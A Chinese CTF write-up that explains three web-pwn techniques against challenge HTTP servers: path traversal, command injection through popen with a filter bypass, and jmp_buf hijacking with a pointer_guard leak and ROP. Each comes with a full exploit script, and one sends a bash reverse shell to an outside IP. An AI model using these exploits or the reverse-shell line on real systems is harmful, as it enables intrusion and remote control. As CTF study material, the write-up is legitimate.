Web Pwn常见利用方式总结

本篇文章总结了web pwn常见的利用方式

目录穿越

  • 此题是NKCTF2024 httpd这道题

题目分析

  1. %[^ ] 是C语言中 scanf 和 sscanf 函数用于格式化输入的格式化字符串中的一个格式说明符。具体地,%[^ ] 表示要读取的输入字符序列直到遇到第一个空格字符(空格字符之前的字符),然后将其存储到对应的变量中。其中 ^ 符号表示取反,[^ ] 表示除了空格之外的所有字符。这样的格式化说明符通常用于读取字符串中的单词或特定字符之间的内容。

image.png

  1. 这里最主要的漏洞是v7是char型,那么strlen后超过255后会有溢出漏洞,那么就可以由此进行目录穿越

image.png

  1. 利用scandir函数进行目录扫描,通过扫描../目录得到../flag.txt目录进行输出

image.png

  1. 区分sscanf函数与scanf函数
    • scanf 函数:
      scanf 函数从标准输入流(通常是键盘)读取输入,可以使用格式化字符串来指定期望输入的格式。
      它通常用于从用户键盘输入的交互式输入中读取数据。
      例如:scanf(“%d %f”, &intVar, &floatVar); 会尝试从标准输入中读取一个整数和一个浮点数。
    • sscanf 函数:
      sscanf 函数用于从一个字符串中按照指定的格式解析数据,与 scanf 不同,它不是直接从标准输入流中读取数据,而是从给定的字符串中读取数据。它通常用于解析字符串中的特定格式的数据。
      例如:sscanf(str, “%d %f”, &intVar, &floatVar); 会尝试从字符串 str 中读取一个整数和一个浮点数。
  2. 最后就是要慢慢逆向出逻辑就好了

exp

  1. from pwn import *
  2. import sys
  3. LOCAL = len(sys.argv) == 1
  4. if LOCAL:
  5. p = process('./httpd')
  6. else:
  7. p = remote(sys.argv[1], int(sys.argv[2]))
  8. p.send(b'GET /.' + b'/' * 256 + b'.. HTTP/1.0\r\n')
  9. p.send(b'host: 0.0.0.10\r\n')
  10. p.send(b'Content-length: 0\r\n')
  11. p.recvuntil(b'./flag.txt:')
  12. data = p.recvline(keepends=False)
  13. from Crypto.Cipher import ARC4
  14. print(ARC4.new(b'reverse').decrypt(data))
  15. # p.interactive()
  16. p.close()
  17. # NKCTF{35c16fb6-2a41-4b83-b04c-c939281bea4c}

基于popen函数的攻击

  • 2024羊城杯vhttpd
    题目没有给libc,保护全开,还是32位,看到这些基本就没有想栈溢出方面的事情了

可以发现这个与以往的web pwn有一些不同,这里有个之前没见过的过滤函数,但绕过这个过滤很简单

  1. _BOOL4 __cdecl whitelist(const char *a1)
  2. {
  3. _BOOL4 result; // eax
  4. char needle[3]; // [esp+15h] [ebp-13h] BYREF
  5. char v3[4]; // [esp+18h] [ebp-10h] BYREF
  6. unsigned int v4; // [esp+1Ch] [ebp-Ch]
  7. v4 = __readgsdword(0x14u);
  8. strcpy(needle, "sh");
  9. strcpy(v3, "bin");
  10. if ( strchr(a1, '&') )
  11. {
  12. result = 0;
  13. }
  14. else if ( strchr(a1, '|') )
  15. {
  16. result = 0;
  17. }
  18. else if ( strchr(a1, ';') )
  19. {
  20. result = 0;
  21. }
  22. else if ( strchr(a1, '$') )
  23. {
  24. result = 0;
  25. }
  26. else if ( strchr(a1, '{') )
  27. {
  28. result = 0;
  29. }
  30. else if ( strchr(a1, '}') )
  31. {
  32. result = 0;
  33. }
  34. else if ( strchr(a1, '`') )
  35. {
  36. result = 0;
  37. }
  38. else if ( strstr(a1, needle) )
  39. {
  40. result = 0;
  41. }
  42. else
  43. {
  44. result = strstr(a1, v3) == 0;
  45. }
  46. if ( v4 != __readgsdword(0x14u) )
  47. stack_fail_error();
  48. return result;
  49. }

然后看看有没有目录穿越,发现是做不到的,注意到这里有一段代码,最关键的就是这个popen函数

popen 函数用于创建一个管道,通过该管道可以让一个进程执行 shell 命令并与该命令进行输入或输出通信。

  1. /*
  2. FILE *freopen(const char *filename, const char *mode, FILE *stream);
  3. freopen 函数用于重定向一个已经打开的文件流。它可以将一个文件流(例如 stdin、stdout 或 stderr)重定向到一个指定的文件。
  4. int dup(int oldfd);
  5. 返回值: 成功时,返回新的文件描述符(一个非负整数);失败时,返回 -1,并设置 errno 以指示错误。
  6. int dup2(int oldfd, int newfd);
  7. dup2 函数的具体作用是将一个现有的文件描述符(newfd)复制到另一个指定的文件描述符(oldfd)上。这个操作使得两个文件描述符指向同一个文件或资源,拥有相同的文件偏移量和访问模式。
  8. */
  9. v3 = fileno(stdout);
  10. new_stdout = dup(v3);
  11. v4 = fileno(stderr);
  12. new_stderr = dup(v4);
  13. freopen("/dev/null", "w", stdout);
  14. freopen("/dev/null", "w", stderr);
  15. stream = popen("sh >/dev/null", modes);
  16. if ( stream )
  17. {
  18. pclose(stream);
  19. v6 = fileno(stdout);
  20. dup2(new_stdout, v6);
  21. v7 = fileno(stderr);
  22. dup2(new_stderr, v7);
  23. close(new_stdout);
  24. close(new_stderr);
  25. /*
  26. ...
  27. */
  28. }
  • 由此思路就明确了,直接用这个popen函数执行sh,然后反弹shell即可
  • exp
  1. from pwnlib.util.packing import u64
  2. from pwnlib.util.packing import u32
  3. from pwnlib.util.packing import u16
  4. from pwnlib.util.packing import u8
  5. from pwnlib.util.packing import p64
  6. from pwnlib.util.packing import p32
  7. from pwnlib.util.packing import p16
  8. from pwnlib.util.packing import p8
  9. from pwn import *
  10. context(os='linux', arch='amd64', log_level='debug')
  11. p = process("/home/zp9080/PWN/httpd")
  12. # p=remote('139.155.126.78',31700)
  13. # p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
  14. elf = ELF("/home/zp9080/PWN/httpd")
  15. libc=elf.libc
  16. def dbg():
  17. gdb.attach(p,"b *$rebase(0x1BEE)")
  18. pause()
  19. host = '0.0.0.10'
  20. request = 'GET /"s"h HTTP/1.0\r\n'
  21. request += 'Host: ' + host + '\r\n'
  22. request += 'Content-Length: 0\r\n'
  23. p.sendline(request)
  24. p.sendline('bash -c "bash -i >& /dev/tcp/172.18.211.41/7777 0>&1"')
  25. p.interactive()

基于jmp_buf结构体的攻击

前置知识

jmp_buf结构体

setjmp.h 头文件定义了宏 setjmp()、函数 longjmp() 和变量类型 jmp_buf,该变量类型会绕过正常的函数调用和返回规则

jmp_buf 是一个数据类型,用于保存调用环境,包括栈指针、指令指针和寄存器等。在执行 setjmp() 时,这些环境信息会被保存到 jmp_buf 类型的变量中。

int setjmp(jmp_buf environment)
这个宏把当前环境保存在变量 environment 中,以便函数 longjmp() 后续使用。如果这个宏直接从宏调用中返回,则它会返回零,但是如果它从 longjmp() 函数调用中返回,则它会返回一个非零值。

void longjmp(jmp_buf environment, int value)
该函数恢复最近一次调用 setjmp() 宏时保存的环境,jmp_buf 参数的设置是由之前调用 setjmp() 生成的。

根据上述内容,如果jmp_buf结构体存储在栈上,并且我们可以栈溢出覆盖到此处,那么将可以控制程序的流程!!!

pointer_guard

  • 结构体的类型为struct pthread,我们称其为一个thread descriptor,该结构体的第一个域为tchhead_t类型,其定义如下:

    1. typedef struct
    2. {
    3. void *tcb; /* Pointer to the TCB. Not necessarily the
    4. thread descriptor used by libpthread. */
    5. dtv_t *dtv;
    6. void *self; /* Pointer to the thread descriptor. */
    7. int multiple_threads;
    8. int gscope_flag;
    9. uintptr_t sysinfo;
    10. uintptr_t stack_guard; 0x28
    11. uintptr_t pointer_guard; 0x30
    12. unsigned long int vgetcpu_cache[2];
    13. /* Bit 0: X86_FEATURE_1_IBT.
    14. Bit 1: X86_FEATURE_1_SHSTK.
    15. */
    16. unsigned int feature_1;
    17. int __glibc_unused1;
    18. /* Reservation of some values for the TM ABI. */
    19. void *__private_tm[4];
    20. /* GCC split stack support. */
    21. void *__private_ss;
    22. /* The lowest address of shadow stack, */
    23. unsigned long long int ssp_base;
    24. /* Must be kept even if it is no longer used by glibc since programs,
    25. like AddressSanitizer, depend on the size of tcbhead_t. */
    26. __128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));
    27. void *__padding[8];
    28. } tcbhead_t;

image.png

  • 可以看到这两个宏利用pointer_guard分别对指针进行了加密和解密操作,加密由一次异或以及一次bitwise rotate组成。加密使用的key来自fs:[offsetof(tcbhead_t, pointer_guard)], 利用pointer_guard进行加密的过程可以表示为rol(ptr ^ pointer_guard, 0x11, 64),解密的过程为ror(enc, 0x11, 64) ^ pointer_guard
  • 因此我们写入数据的时候用这个加密方式就可以了
    eg: ```python

    bin会给数字转化为2进制,但是会带上0b,因此要取[2:]

    def ROL(content, key):
    tmp = bin(content)[2:].rjust(64, ‘0’)
    return int(tmp[key:] + tmp[:key], 2)
    ROL(gadget_addr ^ pointer_guard, 0x11)
    ```

这里以DASCTF2024暑期挑战赛 vhttp为例,讲解这个漏洞的利用过程(此题是libc2.31,实操发现如果是libc2.35打不通)

逆向分析

  • main中一般都是先处理http包,常见格式如下

image.png

  1. payload = b"GET /index.html HTTP/1.1\r\n"
  2. payload+= b"content-length:2848\r\n"
  • 逆向出的结构体 ```C

    ```

struct http_header
{
char method;
char
path;
char version;
int header_count;
struct Header
headers;
char * data;
int content_length;
jmp_buf err;
};

  1. * 处理完http包后一般看haystack是否包含flag相关字符串然后进行不同的函数处理
  2. * func1,处理路径得到绝对路径,并输出http包相关内容
  3. ![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/11/attach-dd348a44e9c1022a4f6178e0741a448b9ed10bc6.png)
  4. * func2,打开文件,如果直接是一个文件那么就输出文件内容,如果是一个文件夹那么就遍历输出文件夹中有哪些文件
  5. ![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/11/attach-bb81a974b4f5ed25c87d89dfafd8ed515f5c4aa6.png)
  6. ![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/11/attach-873ecf0afade8992a73b2294a202112fafcb9291.png)
  7. ## 漏洞分析
  8. * 先记录一下httpd常见漏洞形式
  9. 1. 第一种,最简单的就是haystack中有flag.txt但是可以进行目录穿越类似的漏洞
  10. 2. 第二种,进入func2,但是遍历目录的时候有漏洞可以读出flag
  11. 3. 第三种,也就是本题见到的这种,针对jmp_buf结构体的漏洞
  12. ![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/11/attach-58df9ed5980e7c648c1cd9737e5252f92d3ccc0a.png)
  13. * 具体漏洞如下
  14. content_lengthhttp header中的content-length确定
  15. ```C
  16. // sub_401ce7
  17. for ( i = 0; i <= 1; ++i )
  18. {
  19. fread(s, *(int *)(a1 + 48), 1uLL, stdin);
  20. if ( strncmp(s, "\r\nuser=newbew", 0xCuLL) )
  21. break;
  22. write(1, "HTTP/1.1 403 Forbidden\r\n", 0x18uLL);
  23. write(1, "Content-Type: text/html\r\n", 0x19uLL);
  24. write(1, "\r\n", 2uLL);
  25. write(1, "<h1>Forbidden</h1>", 0x12uLL);
  26. v1 = strlen(s);
  27. write(1, s, v1);
  28. }

这里的fread的length就是之前得到的content_length,这是我们可以控制的,因此这里存在一个栈溢出

但是由于退出此函数都是exit,无法直接ROP

这里的考点在于setjmp函数,其通过一个jmp_buf结构体保存寄存器的值,longjmp通过恢复这些寄存器的值进行跳转

因此,如果我们覆盖了jmp_buf结构体,就可以劫持程序控制流程

但是jmp_buf中栈寄存器和rip都被TCB中的pointer_guard保护。但注意到,这个溢出发生在线程中,线程的栈靠近线程TCB,由于程序运行时其他函数需要用到pointer guard, 因此不能直接覆盖,需要leak

因此,我们可以利用下述函数带出pointer guard

  1. // sub_401ce7
  2. v1 = strlen(s);
  3. write(1, s, v1);

然后,覆盖jmp buf中的rip和栈指针可以栈迁移进行ROP

exp的编写

  • 注意到main中的read是读到bss段上,因此也可以在这里布置rop链,进行orw

image.png

  • 当前jmp_buf+2848偏移处刚好是pointer_guard,可以泄露出pointer_guard
  • 题目中for ( i = 0; i <= 1; ++i )刚好有两次机会,一次泄露,一次orw
  • exp
  1. ## ROP Chain
  2. from pwnlib.util.packing import u64
  3. from pwnlib.util.packing import u32
  4. from pwnlib.util.packing import u16
  5. from pwnlib.util.packing import u8
  6. from pwnlib.util.packing import p64
  7. from pwnlib.util.packing import p32
  8. from pwnlib.util.packing import p16
  9. from pwnlib.util.packing import p8
  10. from pwn import *
  11. context(os='linux', arch='amd64', log_level='debug')
  12. # p = process("/home/zp9080/PWN/pwn")
  13. # p=gdb.debug("/home/zp9080/PWN/pwn","b *0x401705")
  14. p=remote('node5.buuoj.cn',28360)
  15. # p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
  16. elf = ELF("/home/zp9080/PWN/pwn")
  17. libc=elf.libc
  18. gdb_script = '''
  19. b pthread_create
  20. c
  21. finish
  22. thread 2
  23. b *0x401EC2
  24. c
  25. b __pthread_cleanup_upto
  26. c
  27. '''
  28. def dbg():
  29. gdb.attach(p,gdb_script)
  30. pause()
  31. def circular_left_shift(value, shift):
  32. # 确保value是一个64位整数
  33. value &amp;= 0xFFFFFFFFFFFFFFFF
  34. # 执行循环左移操作
  35. shifted_value = ((value << shift) &amp; 0xFFFFFFFFFFFFFFFF) | (value >> (64 - shift))
  36. return shifted_value
  37. def ptr_g(value, pg):
  38. val = value ^ pg
  39. return circular_left_shift(val, 0x11)
  40. # dbg()
  41. ret_addr = 0x000000000040101a
  42. pop_rdi = 0x00000000004028f3
  43. pop_rsi_r15 = 0x00000000004028f1
  44. pop_rdx = 0x000000000040157d
  45. buffer = 0x0405140
  46. open_plt = 0x4013C0
  47. read_plt = 0x401300
  48. write_plt = 0x4012A0
  49. flag_addr = 0x40338A
  50. header = b"GET / HTTP/1.1\r\n"
  51. header+= b"content-length:2848\r\n"
  52. #ORW
  53. rop_payload = b"a"*(0x20-1)+b":"
  54. rop_payload+= p64(ret_addr)*0x4
  55. rop_payload+= p64(pop_rdi)
  56. rop_payload+= p64(flag_addr)
  57. rop_payload+= p64(pop_rsi_r15)
  58. rop_payload+= p64(0x0)
  59. rop_payload+= p64(0x0)
  60. rop_payload+= p64(open_plt)
  61. rop_payload+= p64(pop_rdi)
  62. rop_payload+= p64(0x3)
  63. rop_payload+= p64(pop_rsi_r15)
  64. rop_payload+= p64(buffer+0x100)
  65. rop_payload+= p64(0x0)
  66. rop_payload+= p64(pop_rdx)
  67. rop_payload+= p64(0x200)
  68. rop_payload+= p64(read_plt)
  69. rop_payload+= p64(pop_rdi)
  70. rop_payload+= p64(0x1)
  71. rop_payload+= p64(pop_rsi_r15)
  72. rop_payload+= p64(buffer+0x100)
  73. rop_payload+= p64(0x0)
  74. rop_payload+= p64(write_plt)
  75. rop_payload+= rop_payload.ljust(0x100, b"a")
  76. header+= rop_payload+b'\r\n'
  77. p.send(header)
  78. p.send('\n')
  79. #这里要注意题目要求的是strncmp(s, "\r\nuser=newbew", 0xCuLL)
  80. payload = b'\r\n'+b"user=newbew"+cyclic(2848-13-7)+b'success'
  81. p.send(payload)
  82. p.recvuntil(b"success")
  83. pointer_guard = u64(p.recv(8))
  84. print("Pointer guard:",hex(pointer_guard))
  85. payload = b"&amp;pass=v3rdant".ljust(0x200, b'a')
  86. regs = flat({
  87. 0x8:ptr_g(buffer+0x28, pointer_guard), #rbp
  88. #rsp刚好指向rop_payload的地方
  89. 0x30:ptr_g(buffer+0x28, pointer_guard), #rsp
  90. 0x38:ptr_g(ret_addr, pointer_guard), #rdx的值,jmp rdx
  91. }
  92. )
  93. payload += regs
  94. payload = payload.ljust(2848-0x20, b'a') #保证fs:[0x10]的值是一个可写的地址即可
  95. payload+= p64(buffer+0x400)*4
  96. print(len(payload))
  97. p.send(payload)
  98. p.interactive()

解题遇到的问题及解决

多线程如何dbg

  • main中有如下代码,创建了另一个线程
  1. if ( strstr(haystack, "flag.txt") )
  2. start_routine = (void *(*)(void *))func1;
  3. else
  4. start_routine = (void *(*)(void *))func2;
  5. pthread_create(&amp;newthread, 0LL, start_routine, &amp;method);
  6. pthread_join(newthread, 0LL);
  7. status = 0;
  • 可以用如下方式进行多线程dbg
  1. finish GDB会让程序继续运行,直到当前函数执行完毕并返回到调用它的地方
  2. info threads 显示当前程序中的所有线程,并标注当前所在的线程
  3. thread (id) 这个命令不仅可以用来切换线程,也可以显示当前线程的ID
  4. gdb_script = '''
  5. b pthread_create
  6. c
  7. finish
  8. thread 2
  9. b *0x401EC2
  10. c
  11. b __pthread_cleanup_upto
  12. c
  13. '''

如何设置jmp_buf结构体的值进而控制寄存器

  • 此时的rdi正好指向jmp_buf结构体,r8=[jmp_buf+0x30],r9=[jmp_buf+0x8],rdx=[jmp_buf+0x38]。最后又有mov rsp,r8;mov rbp,r9;jmp rdx。
  • 有上述过程就可以控制流程了,让rsp=rop_addr,然后rdx=ret指令,即可实现rop

image.png

image.png

又一个问题,发生了段错误

  • payload如下会有这个段错误

image.png

发现是rax的值被我们覆盖为a了,跟进流程查看如何正确地写payload

  1. payload = b"&amp;pass=v3rdant".ljust(0x200, b'a')
  2. regs = flat({
  3. 0x8:ptr_g(buffer+0x28, pointer_guard), #rbp
  4. #rsp刚好指向rop_payload的地方
  5. 0x30:ptr_g(buffer+0x28, pointer_guard), #rsp
  6. 0x38:ptr_g(ret_addr, pointer_guard), #rdx的值,jmp rdx
  7. }
  8. )
  9. payload += regs
  10. payload = payload.ljust(2848, b'a')
  11. # payload+= p64(0x405360)*4
  12. print(len(payload))
  13. p.send(payload)
  • 跟进发现会进入_longjmp_unwind,然后进入_pthread_cleanup_upto,此时会有个一个mov rax,qword ptr fs:[0x10],后面又有一个mov r12,qword ptr [rax+0x698]就会导致段错误

image.png

image.png

image.png

image.png

  • 由此就可以想到是我们泄露pointer_guard时,覆盖了其为a,所以导致赋值不正确,如图也可以看到确实被覆盖了(0x7ffff7da2e10是jmp_buf的地址)

image.png

  • 做出以下修改即可,保证fs:[0x10]的值是一个可写的地址
  1. payload = b"&amp;pass=v3rdant".ljust(0x200, b'a')
  2. regs = flat({
  3. 0x8:ptr_g(buffer+0x28, pointer_guard), #rbp
  4. #rsp刚好指向rop_payload的地方
  5. 0x30:ptr_g(buffer+0x28, pointer_guard), #rsp
  6. 0x38:ptr_g(ret_addr, pointer_guard), #rdx的值,jmp rdx
  7. }
  8. )
  9. payload += regs
  10. payload = payload.ljust(2848-0x20, b'a') #保证fs:[0x10]的值是一个可写的地址即可
  11. payload+= p64(buffer+0x400)*4
  12. print(len(payload))
  13. p.send(payload)
  • 至此就打通了

image.png

一些感想

基于jmp_buf结构体的攻击,打这个的感受就和打堆溢出的house系列的wide_data结构体一样

就是针对某个结构体,以及其相关函数的漏洞进行攻击,关键点在于要发现一开始那个栈溢出,这样才会想到是否能够劫持jmp_buf结构体然后进一步劫持流程

这种通过劫持结构体,进而控制程序流程在二进制漏洞里面还是不少的,自己在复现qemu相关的题目也是遇到过相同的手法

  • 发表于 2024-12-03 09:31:45
  • 阅读 ( 2174 )
  • 分类:二进制

0 条评论

_ZER0_
_ZER0_

13 篇文章

站长统计